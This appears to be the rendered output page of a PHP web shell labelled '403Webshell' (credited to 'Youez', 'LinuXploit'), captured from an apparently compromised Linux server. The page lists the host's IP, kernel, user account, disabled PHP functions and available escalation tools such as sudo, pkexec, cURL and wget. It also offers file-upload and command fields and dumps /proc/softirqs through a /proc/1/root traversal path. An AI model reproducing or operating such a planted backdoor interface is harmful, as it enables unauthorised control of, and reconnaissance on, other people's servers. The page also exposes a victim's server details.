403Webshell
Server IP : 88.99.149.37  /  Your IP : 216.73.216.141
Web Server : nginx/1.31.2
System : Linux server-88-99-149-37 6.12.0-124.56.5.el10_1.x86_64 #1 SMP PREEMPT_DYNAMIC Fri May 15 06:12:08 EDT 2026 x86_64
User : muralimurth ( 1015)
PHP Version : 8.4.23
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/1/root/proc/self/root/proc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/1/root/proc/self/root/proc/softirqs
                    CPU0       CPU1       CPU2       CPU3       CPU4       CPU5       CPU6       CPU7       CPU8       CPU9       CPU10      CPU11      
          HI:          7         25         27          8          1          2          6         23        164          9          1          1
       TIMER:  119632963  197362959  209848299   53538996   42012135   39146661   98335367  116919441  178515205   39235323   56426121   42400316
      NET_TX:     288937     313885   20960536    1612538    1429571    4430904   22311901    1271622     200791    3801561   21876532    9754751
      NET_RX:    2506063    3656884  523335787   34896540   45501277  127920251  523137567   18456424    2872597   84918636  521940027  223397204
       BLOCK:      38233      29911      28266      10246      14983      31295      14717      17903      15633      37082      12656      34715
    IRQ_POLL:          0          0          0          0          0          0          0          0          0          0          0          0
     TASKLET:        589       8091   48431372    3048294    4008163   11021120   50022169    1768415      37347    8310041   50894761   21656317
       SCHED: 2057104570  963273362  752362133  358653113  206267833  166188511  370159759  467562908  488161682  139023602  152066287  135600362
     HRTIMER:        168        274      19151        725       1060       3652      16904        210        133       1926      12063       5241
         RCU:  352203400  427062079  430839943  243444584  187089397  185667046  348933621  426063741  418989121  178130593  178136367  173973119

Youez - 2016 - github.com/yon3zu
LinuXploit